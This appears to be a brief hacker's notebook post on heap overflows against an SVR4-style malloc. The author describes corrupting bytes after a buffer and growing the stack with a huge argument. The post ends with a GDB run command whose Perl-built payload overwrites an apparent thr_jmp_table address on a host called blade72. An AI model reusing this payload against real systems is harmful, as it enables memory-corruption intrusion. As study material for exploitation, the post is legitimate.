Messing with programs I learned that there is a 8-byte window after the buffer, where the first 4 actually “say” something.. Don’t know what yet.. but all it takes is that first byte to be overwritten AND a subsequent call to malloc() to cause a segmentation fault of some sort.. No calls to free() necessary.. What is happening?!? I need to learn about the SVR4 malloc implementation and GDB sessions to find out :D

Make a TRULY LARGE argv[1].. I just tried 1 million and it worked just fine… The stack is forced to grow phenomenally downwards, giving me a safe “zone” to pass to the LD offset.. Here is blade72’s offset:
r `perl -e 'print "A"x0x2f0 . "\xff\xff\xff\xf8" . "AAAA" . "\xff\x3e\x02\x14" . "AAAA" . "\xff\xff\xff\xff" . "AAAA" . "AAAA" . "AAAA" . "\xff\xbe\xef\x08" . "AAAA" . "AAAA" . "AAAA" . "\xff\xff\xff\xc8"'` ^^^^ 0xff3e0234 thr_jmp_table address for blade72
